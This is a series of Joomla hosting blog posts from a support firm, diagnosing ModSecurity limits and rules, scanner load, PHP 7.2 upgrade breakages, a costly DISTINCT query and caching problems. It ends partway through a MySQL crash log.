A client of ours uses a Joomla article for listing internal announcements (the Joomla website is used as an intranet). The Joomla article contains announcements from 2005 and, each time the company has a new announcement (which literally happens at least one time every business day), that announcement is added to the very beginning of the article. Needless to say that with time, the article became very very large, but still this process worked fine for the client all of these years. But, last Friday, something happened: the client tried to add a new announcement, and, to their surprise, what has been working for 13 years suddenly broke, and the Joomla site displayed a 404 error. The client immediately emailed us for help and we promptly started the investigation.

The first thing that we tried to do was to recreate the problem, which wasn’t really hard: we logged in to the backend of the Joomla website, we opened the “Announcements” article, we added the new announcement (which was sent to us by the client), we saved the article, and we saw the 404 error. At first glance we thought it was something that had to do with the text that the client was trying to add (maybe a pattern was triggering a ModSecurity rule), but it wasn’t, because we changed the text to something entirely different, and we still had the same issue.

So, we did a tail on Apache’s error log (for that particular website, as the client had 2 other websites on the same server) in order to have a better idea what went wrong:

grep '[our-client-joomla-website].com' /usr/local/apache/logs/error_log | tail -500

And here’s what we saw:

[Fri Jan 26 09:39:58.597094 2018] [:error] [pid 4079] [client [our-ip]:38805] [client [our-ip]] ModSecurity: Request body no files data length is larger than the configured limit (1048576).. Deny with code (413) [hostname "www.[our-client-joomla-website].com"] [uri "/administrator/index.php"] [unique_id "WmegrFt7NF@XqHcDe6IAywAAABw"], referer: https://www.[our-client-joomla-website].com/administrator/index.php?option=com_content&view=article&layout=edit&id=82

So, it was ModSecurity (which is nearly always the culprit when a weird issue suddenly happens), but it wasn’t anything in the pattern of the text, it was the length of the text. The no files data length (e.g. the HTML length) is larger than the allowed maximum, which is 1 MB. But where is that set?

A quick research revealed that this limit was defined by the ModSecurity global directive SecRequestBodyNoFilesLimit, which defaults to 1 MB (or 1024 kilobytes, or 1048576 bytes). So, we resolved the problem by increasing the limit to 2 MB (which should give our client another 13 years). We did that the following way:

  • We opened the file custom.conf file which is located under the /etc/apache2/conf.d folder.
  • We added the following line to it (the file was originally empty):

    SecRequestBodyNoFilesLimit 2097152

  • We saved the file and then we restarted Apache.

  • We logged in to the Joomla backend and tried saving the “Announcements” article again after adding the new content.

  • It worked!

Note that the location and the name of the custom ModSecurity rule file may not be the same on your server. So, you will need to make sure of the right location before implementing the solution (or else the solution will be useless).

But, does the above solution compromise security?

Well, not really, but it not ideal either… By limiting the maximum size of non-file content to 1 MB, ModSecurity lessens the impact of a DoS (Denial of Service) attack on your server. Increasing that limit to 2 MB is not bad, but it is not as good (security wise) to having that limit set to 1 MB. So, preferably, you should consider splitting a very large article into smaller articles instead of increasing the SecRequestBodyNoFilesLimit value.

So, the next time you see a 404 error when saving a large article on your Joomla site, investigate the Apache error logs, as it might be ModSecurity. If you need help fixing the problem, then please contact us, we are always ready to help, our work is ultra clean, and our our fees are super right.

Your Visitors Can’t Access Your Joomla Site? Maybe They Use OpenOffice!

Note: This post is advanced and is mainly aimed at system administrators, but any Joomla administrator can still read it and understand the main points as we have simplified it as much as we can.

One of our customers constantly emailed us about people getting randomly blocked from accessing their Joomla website. At first, our response was as simple as manually unblocking the blocked IPs in CSF (ConfigServer Security & Firewall) as we thought it was just something that they mistakenly did on the website that caused them to get blocked. However, the situation became more of an issue when some of these people became blocked on a daily basis (and, in some cases, on an hourly basis). We needed to investigate the issue…

So, we checked the modsec_audit.log file (which is the ModSecurity log file) that is located under the /usr/local/apache/logs folder for one of the blocked IPs and here’s what we saw:

--c39ced72-A--
[31/Dec/2017:13:05:01 --0800] WklQ-dEvE6fYw87vIOCzMwAAAVU [offending-ip] 54353 [server-ip] 443
--c39ced72-B--
PROPFIND /media/kunena/emoticons/smile.png HTTP/1.1
Host: our-client-joomla-website.com
User-Agent: Apache OpenOffice/4.1.3
Accept-Encoding: gzip
Depth: 0
Content-Type: application/xml
Transfer-Encoding: chunked

--c39ced72-C--
<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><resourcetype xmlnx="DAV:"/><IsReadOnly xmlnx="http://ucb.openoffice.org/dav/props/"/><getcontenttype xmlnx="DAV:"/><supportedlock xmlnx="DAV:"/><lockdiscovery xmlnx="DAV:"/></prop></propfind>
--c39ced72-F--
HTTP/1.1 500 Internal Server Error
Content-Length: 679
Connection: close
Content-Type: text/html; charset=iso-8859-1

--c39ced72-H--
Message: Access denied with code 500 (phase 2). Match of "rx ^$" against "REQUEST_HEADERS:Transfer-Encoding" required. [file "/etc/apache2/conf.d/modsec2.liquidweb.conf"] [line "183"] [id "340004"] [rev "1"] [msg "Dis-allowed Transfer Encoding"] [severity "CRITICAL"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client [offending-ip]] ModSecurity: Access denied with code 500 (phase 2). Match of "rx ^$" against "REQUEST_HEADERS:Transfer-Encoding" required. [file "/etc/apache2/conf.d/modsec2.liquidweb.conf"] [line "183"] [id "340004"] [rev "1"] [msg "Dis-allowed Transfer Encoding"] [severity "CRITICAL"] [hostname "our-client-joomla-website.com"] [uri "/media/kunena/emoticons/smile.png"] [unique_id "WklQ-dEvE6fYw87vIOCzMwAAAVU"]
Action: Intercepted (phase 2)
Stopwatch: 1514754301176673 671 (- - -)
Stopwatch2: 1514754301176673 671; combined=117, p1=35, p2=82, p3=0, p4=0, p5=0, sr=12, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c39ced72-Z--

If you look closely at the first paragraph, you will notice that the whole cycle of events started with a request from OpenOffice to the smile.png emoticon in a Kunena forum. The request was innocent, looked innocent, but it didn’t act as innocent: the Transfer Encoding value sent by OpenOffice was not allowed, and, as such, it was blocked by a custom ModSecurity rule developed by LiquidWeb. Looking at the file modsec2.liquidweb.conf which contained the blocking rule, we found the following:

# Don't accept transfer encodings we know we don't handle
# (and you don't need it anyway)
SecRule HTTP_Transfer-Encoding "!^$" "id:340004,rev:1,severity:2,msg:'Dis-allowed Transfer Encoding'"

The above lines define the rule 340004 which blocks unknown transfer encodings. So, a quick solution to the problem was to remove the above rule (or comment it out with a #) from the modsec2.liquidweb.conf file and then restart Apache, and this is what we did. However, it wasn’t the ideal solution, since that rule was there for a reason, and it was additional protection. Then again, it was happening so often to the members of the site that it threatened the very existence of the business.

But, why did OpenOffice try to load the image?

An analysis to the problem, as well as statements from members, revealed that the problem started with the affected members copying content from the forum and then pasting that content into an OpenOffice document. That content contained emoticons (images), which only had their references copied, and so OpenOffice tried to load them (using the wrong headers) from the remote site in order to display them in the document.

Isn’t there a better solution to the problem than to remove the rule?

Well, yes. The best solution is that OpenOffice sends valid requests (including a valid Transfer Encoding value). Another solution would be to tell members not to copy content from the forum into OpenOffice, and use another tool instead to copy content. Admittedly, both solutions are a bit unrealistic, but we do hope that the people at OpenOffice resolve the problem.

So, the next time, our dear reader, your clients complain about being randomly blocked from accessing your website, think about checking your ModSecurity log; it might be OpenOffice. If you need help uncovering the culprit, then please contact us. We are Joomla security experts, we are based in Montreal, we are hard workers, and our rates are always affordable.

ConfigServer eXploit Scanner Can Cause Joomla Performance Issues

For a while now, we were noticing intermittent load spikes on the server powering a high traffic Joomla website of a client of ours. These spikes were troubling, because they were caused by neither the MySQL database nor the PHP instance; they were caused by something else, something that we didn’t know what it was until this morning…

At around 9:15 AM we noticed, by chance, that the cxswatch process was erratically appearing and disappearing in the top -d shell command during the load spikes. The process had huge processor usage, often close to 20%.

For those who don’t know, the cxswatch process is short for the ConfigServer eXploit Scanner, which is, as the name suggests, a Linux application that is used to scan directories for exploits. It is now installed by default on a WHM server, and it is somehow instrumental in finding malicious/hacked files as soon as they are uploaded/modified. Of course, this means that we cannot just disable the application in order to address the load issue, so our best option was to check the logs for “issues”. So, we logged in to WHM, and then clicked on ConfigServer eXploit Scanner in the left menu (in the Plugins section), and then we clicked on the Tail cxs Watch Log button. Here’s what we saw:

Jan 16 09:16:39 pro01 cxswatch[37473]: WARNING: '/home/[cpanel-user]/public_html/cache/com_content' scanned 6 times in the last 30 seconds, you might want to ignore this resource

The above message was there hundreds of times, but with different dates. Apparently, the Joomla cache folder is so dynamic that it is scanned very frequently, leading to unnecessary overhead, so we needed to tell cxswatch to just ignore this folder. Here’s how we did it:

  • We ssh’d to the server.
  • We opened the file cxs.ignore (which is located under the /etc/cxs/ folder) using vi:

    vi /etc/cxs/cxs.ignore

  • We added the following line to it (note that, by default, the cxs.ignore file doesn’t exist; in that case editing it and saving it through vi will just create it):

    dir: /home/[cpanel-user]/public_html/cache

  • We saved the file and then we restarted ConfigServer eXploit Scanner by going back to its settings in WHM and then clicking on the Restart cxs Watch button.

  • That’s it! Once we did the above, the load was reduced substantially, especially during high activity hours when cache files were constantly being (re-)generated.

But, doesn’t disabling the cxs for the “cache” folder compromise security?

Well, not particularly, and this is because we have an .htaccess file with a deny from all line in that folder. So, even in the unlikely case where a malicious file gets uploaded to that folder, it can’t be executed. Additionally, we do have a midnight scanner that can catch malicious files and that is run on all folders.

But, what if a malicious user uploads a hacked file that is masqueraded as a legitimate cache file?

Well, doing that is not easy. You see, the names of cached files in Joomla follow a certain hash, and it is probably (much) easier to know the root password of the server than to figure out the “cache hash”.

We hope that you found this post interesting and useful. If you need help with the implementation, then we are always there for you. All you need to do is to contact us and we’ll do the work for you swiftly, professionally, and at affordable fees!

Broken Joomla Extension After Updating to PHP 7.2? Read This!

Note: This post is somehow technical. Some PHP knowledge is required to understand it.

After updating PHP to 7.2 on the server powering the Joomla website of a major client, we noticed that one of the modules became broken. The module was supposed to display some images with a specific size, and, while the images were being displayed, the size was not correct, and some of the images were overlapping (because the layout assumed that all the images had the same, specific width and height).

We investigated the issue, and we were able to determine that it was caused by this line:

$$arrSingleItemPreText[0] = $arrSingleItemPreText[1];

The above line contains $$, which PHP refers to as variable variable. So, what is a variable variable?

Let us explain it with an example… Let’s say that you have the following PHP code:

$myVariable = "itoctopus";
$$myVariable = "Joomla Experts";

The first line is obvious. The second line is translated the following way:

$itoctopus = "Joomla Experts";

As you can see, we replaced $myVariable to its value in the first line, and we left the first $ sign. So, $$myVariable became $itoctopus, which means that $itoctopus will have the value of “Joomla Experts”.

Now, going back to the above line we were having a problem with, we examined it thoroughly, and we were sure that there was nothing wrong with it. It was just another variable variable, so why is that a problem after updating to PHP 7.2? Has PHP suddenly decided to stop interpreting variable variables? We researched the issue, and, as we had expected, the root cause turned out be something different…

It was the interpretation of the line that was different. In versions prior to PHP 7, PHP had a mixed interpretation of variables, in most cases it interpreted them left to right, but, in some cases, it interpreted them right to left. In PHP 7, for consistency reasons, variable interpretation is strictly left to right (see the section “Changes to variable handling” on the official PHP 7 backward incompatibility page). So, in PHP 5, the above line was interpreted as:

${$arrSingleItemPreText[0]} = $arrSingleItemPreText[1];

In PHP 7, however, it was interpreted the following way:

($$arrSingleItemPreText)[0] = $arrSingleItemPreText[1];

The first line above (the PHP 5 interpretation) means that if the value of $arrSingleItemPreText[0] is “myVariable”, then $myVariable will be set to $arrSingleItemPreText[1]. The second line (the PHP 7 interpretation) will try to find a value for the variable $arrSingleItemPreText (which is an array), and then set the variable made out of that value to $arrSingleItemPreText[1]. This is a completely different thing, and it will certainly fail.

So, how did we solve the problem?

We solved the problem by replacing the problematic line with this one:

${$arrSingleItemPreText[0]} = $arrSingleItemPreText[1];

This forced PHP 7 to emulate the same behavior of PHP 5 for our particular variable variable.

Is the Joomla 3.8.3 core affected by PHP 7.2 update?

The short answer is no. The core (in the absolute majority of cases) is not broken by an update to PHP 7.2 . Having said that, there are quite a few extensions that are not compatible with PHP 7.2.

We hope that you found this post useful. If your Joomla 3.8.3 site (ideally, you should only update to PHP 7.2 if you’re running the latest version of Joomla) gets broken after updating to PHP 7.2, then try disabling your extensions one by one (plugins, modules, switch to a core template) in order to locate the problematic extension. If you need help with that, then please contact us. We will solve you problem swiftly, cleanly, and affordably.

We Are No Longer Accepting Work from Individuals / Very Small Businesses

As of January 1st, 2018, itoctopus will no longer be accepting work from individuals, or from very small businesses (less than 5 employees). Let us explain why…

As you may already know, itoctopus has been serving businesses of all sizes for over a decade now. That long period of time has provided us with some interesting statistics about individuals/very small businesses:

  • They generate less than 2% of our gross revenue.
  • They take just over 30% of our time and they are generally stressful to work with.

  • Some of them are not very pleasant to work with, and all of the unpleasant clients that we have had were individuals/very small businesses.

  • 100% of the billing problems that we have had were caused by them.

  • Their retention rate is very low despite us doing our best to please them.

According to our statistics and observations, the disadvantages of serving individuals/very small businesses far outweigh the advantages. In fact, we firmly believe that if we continue serving them we will hurt our business, and we will hinder our huge potential for growth. As such, we came to a conclusion last Friday (December 22nd, 2017) that we will no longer accept tasks/projects from individuals/very small businesses as of January 1st, 2018. This decision was tough, because some of these clients are really nice, but the prosperity and the future of our business is at stake.

Will this decision affect existing clients?

Unfortunately, yes. All existing clients who are individuals or very small businesses will no longer be served by itoctopus as of 2018. There is an exception, however, and it’s those developers who send us subcontracting work.

Won’t that cause itoctopus to lose money?

Definitely not! In fact, we estimate a 30% growth because of this decision. And even if that’s the case (that we will lose money), we think that our health and sanity are much more important than 2% of our revenue.

We hope that we have objectively clarified our decision, and we hope that our very small clients will find something similar to the service they were getting here elsewhere.

“Error: Could not open archive part file” Error When Updating Joomla

Yesterday morning, a client emailed us that he wasn’t able to update his Joomla website from version 3.7.5 to version 3.8.3. He told us that he was seeing an “an ajax error of some sort” after clicking on the Update Now button. We immediately thought that he had permission issues on the restore.php file, but we quickly realized that this wasn’t the case.

The “ajax error” that the client was seeing was this one:

Error: Could not open archive part file /home/[cpanel-user]/public_html/tmp/Joomla_3.8.3-Stable-Update_Package.zip for reading. Check that the file exists, is readable by the web server and is not in a directory made out of reach by chroot, open_basedir restrictions or any other restriction put in place by your host.

Additionally, the following warning was being displayed:

JFolder::create: Could not create folder.Path: /home/[cpanel-user]

We quickly examined the permissions (and the ownership) on the logs and the tmp folders, and they were both OK. What could it be, we wondered? We couldn’t think of anything, and so, in a moment of despair, we copied the value of the $tmp_path variable from the configuration file, and we tried to cd to it in the shell, but we got the following error:

-bash: cd: /home/[cpanel-user]/public_html/tmp: No such file or directory

How could it be? So we carefully examined the path, and it turned out there was a typo in [cpanel-user] (for example, itoctopus was spelled itoctopos). We fixed the typo, and then we refreshed the update page (by pressing F5), but still, we saw the same error. We were sure that what we did should have fixed the problem, but, for some reason, it didn’t.

After a few minutes of extreme frustration, we remember that we had to browse off the update page, and then go back, and so we did that: we went to the System – Control Panel page, and then we clicked on the Update Now button, and this time, it worked!

We hope that you found this post useful, and that it helped you update your Joomla website. If it didn’t, or if you need help, then please contact us. We will fix your problem quickly, cleanly, and affordably!

“0 – The MySQL adapter mysqli is not available” Joomla Error After Updating to PHP 7.2

Note: This post assumes that you are using WHM and EasyApache 4. If you aren’t using them but are seeing the same problem, then the heart of the solution is correct (you will need to install the proper MySQL extension, but the implementation is different).

It was around 2:00 AM last Saturday when were scheduled to update PHP on the server powering a major website that we manage to the latest version, which is PHP 7.2. We expected a smooth update, but, unfortunately, after updating to PHP 7.2 (we used EasyApache 4), we saw the following error:

Error displaying the error page: 0 – The MySQL adapter mysqli is not available

Hmmm… It seems that our update to PHP 7.2 did not include the appropriate MySQL libraries; we needed to install them. So, we did the following:

  • We logged in to WHM.
  • We clicked on the EasyApache 4 link in the left panel (just under Software).

  • We clicked on the Customize button next to Currently Installed Packages.

  • We clicked on the PHP Extensions link in the left middle tab.

  • We enabled the php72-php-mysqlnd extension.

  • We clicked on Next at the bottom several times and finally we clicked on Provision.

  • We restarted Apache.

We then visited the website, and, unsurprisingly, this time it worked! We were very happy because the whole thing consisted of a few minutes of downtime during off-hours.

But why wasn’t the MySQL extension “checked” by default in EasyApache 4?

We don’t know. We know that, in the absolute majority of cases, PHP is used in conjunction with MySQL, so the fact that EasyApache 4 is not selecting the php72-php-mysqlnd extension by default is a bit disappointing.

Will doing the above always fix the “0 – The MySQL adapter mysqli is not available” error?

It should, but, if it doesn’t fix the problem for you, then make sure that:

  • You restarted Apache. If you don’t restart Apache, then your changes to the PHP instance will not take effect and your problem won’t be solved.
  • You are really using PHP 7.2. Installing PHP 7.2 (or any version of PHP) through EasyApache 4 (or EasyApache 3) doesn’t necessarily mean that you are actually using PHP 7.2 on your Joomla site. In order to force PHP 7.2 on all your cPanel accounts, then you will need to login to WHM, click on MultiPHP Manager on the left tab (under Software), and then, under System PHP Version, choose ea-php72 and then click on Apply. You will need to restart Apache after doing this.

    Alternatively, you can set the PHP version to 7.2 at the application level, by opening the .htaccess file and adding the following line to its very beginning:

    <IfModule mime_module>
      AddType application/x-httpd-ea-php72 .php .php5 .phtml
    </IfModule>

    The above line will instruct Apache to use your chosen PHP version instead of the global PHP version that is set in the MultiPHP Manager.

We hope that this post helped you resolve the “0 – The MySQL adapter mysqli is not available” error on your Joomla website. If it didn’t, or if you feel that fixing the problem is a bit over your head, then please contact us. Our fees are super affordable, our work is extremely clean, and we are really friendly!

Internal Server Error After Moving a Joomla Website to Another Server

A new client called us and told us that they are seeing an Internal Server Error (Error 500) after moving their site from one server to another. They told us that they’re sure that all the files were properly moved (they zipped the Joomla website on the origin server and extracted it on the destination server), and that the database was properly created, populated, and linked to from the configuration.php file.

Luckily, we ran through this issue before, and so we knew that the problem may be either caused by some wrong file permissions or some .htaccess rules that are not compatible with the new environment.

Our first step was to check the files’ permissions, so we ssh’d to the website and we cd’d to the /home/[cpanel-user]/public_html/ folder, and we noticed that all the files were owned by root. So, we fixed this problem by issuing the following command (when under the /home/[cpanel-user]/public_html/ folder):

chown -R [cpanel-user].[cpanel-user] *

Note: [cpanel-user] is the username of the cPanel account owning the website, such as mydomain.

We loaded the website and it was still displaying Internal Server Error. So, our next step was to check the .htaccess file, and it didn’t take us long to find the problem…

The following code was at the very beginning of the .htaccess file:

php_flag magic_quotes_gpc off

But, the server was using PHP 7.2 and, not only PHP’s magic quotes are deprecated in that version; they just no longer exist! So, we removed that line from the .htaccess file and we loaded the website again, and this time, it worked!

Now, if you, our dear reader, are seeing an Internal Server Error on every page of your Joomla site, then check if the permissions/ownership on your Joomla files are correct, also check if there is anything fishy in your .htaccess file. If you feel that you need help, then please contact us. We’re always anxious to help, we love working on Joomla, and we won’t charge you much!

On the Careless Usage of MySQL’s DISTINCT in Joomla’s com_content

As of Joomla 3.8.0 (and so far until Joomla 3.8.2), the articles model in the com_content extension (both frontend and backend) uses DISTINCT in the main query that returns the articles (in the getListQuery function). For the untrained eye, such a change is harmless, but, to anyone who has some experience in MySQL (and any other relational database), this is a dangerous change that can have devastating effects on large Joomla sites with high traffic. Why? Well, before explaining why, let us first examine how DISTINCT was introduced to the Joomla core…

On August 22nd, 2017, a GitHub user called JannikMichel (who is a user with a very small number of contributions), proposed this pull request. In short, the pull request was meant to redo/enhance this 3 year old pull request that added article filtering on multiple access levels/authors/categories/tags. So, when you are in the Articles page in the backend of a Joomla site, you will be able to filter on multiple categories (or authors, or tags, etc…).

Now, since Joomla allows only one access level/author/category per article, you won’t have a problem if you filter on multiple access levels/authors/categories. For tags, it’s a different story: Joomla allows an article to have multiple tags (tags are nothing but trouble by the way), so, if you filter on multiple tags, the underlying query can return the same article multiple times. To address this issue, the following code in Joomla 3.7.5 (in the articles.php file which is located under the components/com_content/models folder)…

$query->select(
	$this->getState(
		'list.select',
		'a.id, a.title, a.alias, a.introtext, a.fulltext, ' .
			'a.checked_out, a.checked_out_time, ' .
			'a.catid, a.created, a.created_by, a.created_by_alias, ' .
			// Published/archived article in archive category is treats as archive article
			// If category is not published then force 0
			'CASE WHEN c.published = 2 AND a.state > 0 THEN 2 WHEN c.published != 1 THEN 0 ELSE a.state END as state,' .
			// Use created if modified is 0
			'CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END as modified, ' .
			'a.modified_by, uam.name as modified_by_name,' .
			// Use created if publish_up is 0
			'CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END as publish_up,' .
			'a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, ' .
			'a.hits, a.xreference, a.featured, a.language, ' . ' ' . $query->length('a.fulltext') . ' AS readmore'
	)
);

…was changed to the following in Joomla 3.8.0:

$query->select(
	$this->getState(
		'list.select',
		'DISTINCT a.id, a.title, a.alias, a.introtext, a.fulltext, ' .
		'a.checked_out, a.checked_out_time, ' .
		'a.catid, a.created, a.created_by, a.created_by_alias, ' .
		// Published/archived article in archive category is treats as archive article
		// If category is not published then force 0
		'CASE WHEN c.published = 2 AND a.state > 0 THEN 2 WHEN c.published != 1 THEN 0 ELSE a.state END as state,' .
		// Use created if modified is 0
		'CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END as modified, ' .
		'a.modified_by, uam.name as modified_by_name,' .
		// Use created if publish_up is 0
		'CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END as publish_up,' .
		'a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, ' .
		'a.hits, a.xreference, a.featured, a.language, ' . ' ' . $query->length('a.fulltext') . ' AS readmore'
	)
);

By using DISTINCT, the SQL code in Joomla 3.8.0+ ensures that no row is returned twice by the query, which is a good thing. Unfortunately, this results in a much bigger problem than the original problem: DISTINCT is heavy, very heavy, especially when it is combined by GROUP BY (which is the case in the getListQuery function), in which case it will most likely need to create a temporary table (which results in a huge performance hit). A quick testing for the above query on a large Joomla site revealed that the query is, on average, 5-6 times slower when using DISTINCT. Since the above query is one of the most executed queries on a Joomla site, then it may will substantially increase the load on the server, making the site unusable especially during peak hours.

Not only is the usage of DISTINCT very harmful, it is also disappointing for several reasons:

  • It was approved by multiple Joomla core developers who consider themselves experts. We can count 3 (yes, three) expert core developers who checked this pull request and tested it successfully. This is alarming, since it means that core Joomla developers do not really read the code of rookie developers, which, in most cases, is unoptimized and buggy.
  • It wasn’t added in a condition. There is no need whatsoever to use DISTINCT when there is no multiple filtering on the tags. There must be an if condition for the usage of DISTINCT.

  • It was added to the backend and the frontend articles model. While one can understand the reasons behind adding DISTINCT to the backend, there is no explanation whatsoever on why it was added to the frontend. We have yet to see a Joomla site that allows multiple tag filtering on the frontend.

For our large clients, we are removing DISTINCT from the articles model (both from the frontend and from the backend). We always try our best to avoid core alterations, but in this situation, we have no choice. It is either a core modification or an extremely slow site.

We hope that you found this post useful. If you have any questions about it, or if you need us to optimize your Joomla website, then please contact us. We are experts in Joomla optimization, our work is very delicate, and our fees are always affordable.

Progressive Caching in Joomla 3 Is a Recipe for Disaster

There are many recipes for a disaster out there, our favorite one is the following:

  • One three-pound European white truffle.
  • Eight ripe fruits from a jellyfish tree.
  • 7 drops of fairy tears.
  • One medium sized hair from the tail of a yellow (#ffff00) unicorn.
  • One onion. Just a regular, medium sized onion.
  • A sprinkle of moon dust.
  • 2 liters of Acqua Di Cristallo Tributo a Modigliani water.
  • One eighteenth century Qianlong porcelain vase.

In a pot, boil the truffle in the Acqua Di Cristallo Tributo a Modigliani water (throw the empty water bottles as you won’t need them anymore). About 10 minutes from when the water begins to bubble, add the jellyfish fruits and wait until the water turns slightly red. When that happens, add the 7 drops of fairy tears. Wait exactly 10 seconds between each drop (otherwise, you will have to throw all the ingredients and start over).

Slice the onion (very thin slices) and then fry it in a pan on medium temperature. Once brown, add the unicorn hair, and stir until the mix smells like a gardenia flower. Sprinkle the moon dust over the mix, and then add the whole thing to the pot of truffles (while the latter is boiling).

Serve in the eighteenth century Qianlong porcelain vase, and, for good bad luck, break the vase (Turkish restaurant style) when serving. This recipe for a disaster serves 6 and the results are guaranteed.

Admittedly, the above recipe is a bit daunting, and can be expensive if you don’t know the right people. An easier (and possibly cheaper) alternative is to just turn on progressive caching on your high traffic Joomla site. This will ensure that your Joomla website stops working within 24 hours. The problem is the same as before, only, for some reason, it is much much worse. We are getting many clients complaining about their sites suddenly failing, only to discover the root cause of the problem is the usage of progressive caching.

By the way, in all of the websites that we have examined, none of them actually needed the features of progressive caching. In fact, the reason why progressive caching was chosen for these sites is that the admins thought that progressive caching provided better results than conservative caching, and this is because progressive caching was ordered last in the System Cache drop down (which wrongly implied that it was the best caching mechanism).

But why is progressive caching that bad?

Well, because of 2 things: 1) it floods the filesystem with files, and 2) there seems to be something wrong in the algorithm generating the cached files (we cannot confirm the latter point yet, but we know for sure that progressive caching was less destructive on Joomla 2.5). Typically, high traffic websites hosted on non-SSD drives suffer most.

So, unless you want to try a quick recipe for a disaster, steer away from Joomla’s progressive caching. Most likely you don’t need it, and, even if you do, there are much better alternatives out there. If you need to know what your options are, then just contact us. We are always ready to help, our work is professional, and our fees are affordable.

The Mysterious Intermittent MySQL Crash on a Joomla Website

Most people love mystery movies, there is something thrilling about them. We also love mystery movies, but there is something that we love even more, and it is Joomla mysteries, and yesterday we were fortunate enough that we were assigned to investigate one of these mysteries…

At around eleven hundred hours yesterday morning, a regular client of ours told us that they were seeing the following error on their Joomla site:

Error displaying the error page: Application Instantiation Error: Could not connect to MySQL.

Of course, the above error is probably the most common fatal error on Joomla sites, and we have written about it before, yet this time, it was different, because a few minutes later, the client called back and told us that the site was now working. Hmmm… It was the first time where we see this issue resolve itself. That was weird, we thought. We asked the client if they wanted to investigate further, but they told us that they were OK; it was just a hiccup…

A couple of hours later, they emailed us, and told us that they were seeing the same error message that they saw in the morning. By the time we received the email and checked the site again, the error was gone. So, we emailed the client back, and we recommended that they authorize an investigation about this issue, because instability issues such as these are never a good sign. The client immediately authorized the investigation, and the first thing that we checked was the MySQL error log which is located under the /var/lib/mysql folder (the file name typically ends with .err). Here’s what we saw:

2017-11-07 11:03:29 82870 [Note] Plugin 'FEDERATED' is disabled.
2017-11-07 11:03:29 82870 [Note] InnoDB: Using atomics to ref count buffer pool pages
2017-11-07 11:03:29 82870 [Note] InnoDB: The InnoDB memory heap is disabled
2017-11-07 11:03:29 82870 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2017-11-07 11:03:29 82870 [Note] InnoDB: Memory barrier is not used
2017-11-07 11:03:29 82870 [Note] InnoDB: Compressed tables use zlib 1.2.3
2017-11-07 11:03:29 82870 [Note] InnoDB: Using Linux native AIO
2017-11-07 11:03:29 82870 [Note] InnoDB: Using CPU crc32 instructions
2017-11-07 11:03:29 82870 [Note] InnoDB: Initializing buffer pool, size = 64.0M
2017-11-07 11:03:29 82870 [Note] InnoDB: Completed initialization of buffer pool
2017-11-07 11:03:29 82870 [Note] InnoDB: Highest supported file format is Barracuda.
2017-11-07 11:03:29 82870 [Note] InnoDB: Log scan progressed past the checkpoint lsn 65178299172
2017-11-07 11:03:29 82870 [Note] InnoDB: Database was not shutdown normally!
2017-11-07 11:03:29 82870 [Note] InnoDB: Starting crash recovery.
2017-11-07 11:03:29 82870 [Note] InnoDB: Reading tablespace information from the .ibd files...
2017-11-07 11:03:29 82870 [Note] InnoDB: Restoring possible half-written data pages
2017-11-07 11:03:29 82870 [Note] InnoDB: from the doublewrite buffer...
InnoDB: Doing recovery: scanned up to log sequence number 65178300463
InnoDB: 1 transaction(s) which must be rolled back or cleaned up
InnoDB: in total 1 row operations to undo
InnoDB: Trx id counter is 379714816
2017-11-07 11:03:29 82870 [Note] InnoDB: Starting an apply batch of log records to the database...
InnoDB: Progress in percent: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
InnoDB: Apply batch completed
InnoDB: Starting in background the rollback of uncommitted transactions
2017-11-07 11:03:30 82870 [Note] InnoDB: 128 rollback segment(s) are active.
2017-11-07 11:03:30 7f6cf1e16700  InnoDB: Rolling back trx with id 379714508, 1 rows to undo
2017-11-07 11:03:30 82870 [Note] InnoDB: Waiting for purge to start
2017-11-07 11:03:30 82870 [Note] InnoDB: Rollback of trx with id 379714508 completed
2017-11-07 11:03:30 7f6cf1e16700  InnoDB: Rollback of non-prepared transactions completed
2017-11-07 11:03:30 82870 [Note] InnoDB: 5.6.38 started; log sequence number 65178300463
2017-11-07 11:03:30 82870 [Note] Server hostname (bind-address): '*'; port: 3306
2017-11-07 11:03:30 82870 [Note] IPv6 is available.
2017-11-07 11:03:30 82870 [Note]   - '::' resolves to '::';
2017-11-07 11:03:30 82870 [Note] Server socket created on IP: '::'.
2017-11-07 11:03:30 82870 [Note] Event Scheduler: Loaded 0 events
2017-11-07 11:03:30 82870 [Note] /usr/sbin/mysqld: ready for connections.
Version: '5.6.38'  socket: '/var/lib/mysql/mysql.sock'  port: 3306  MySQL Community Server (GPL)
2017-11-07 13:11:21 11675 [Note] Plugin 'FEDERATED' is disabled.
2017-11-07 13:11:22 11675 [Note] InnoDB: Using atomics to ref count buffer pool pages
2017-11-07 13:11:22 11675 [Note] InnoDB: The InnoDB memory heap is disabled
2017-11-07 13:11:22 11675 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2017-11-07 13:11:22 11675 [Note] InnoDB: Memory barrier is not used
2017-11-07 13:11:22 11675 [Note] InnoDB: Compressed tables use zlib 1.2.3
2017-11-07 13:11:22 11675 [Note] InnoDB: Using Linux native AIO
2017-11-07 13:11:22 11675 [Note] InnoDB: Using CPU crc32 instructions
2017-11-07 13:11:23 11675 [Note] InnoDB: Initializing buffer pool, size = 64.0M
2017-11-07 13:11:23 11675 [Note] InnoDB: Completed initialization of buffer pool
2017-11-07 13:11:23 11675 [Note] InnoDB: Highest supported file format is Barracuda.
2017-11-07 13:11:23 11675 [Note] InnoDB: Log scan progressed past the checkpoint lsn 65220975371
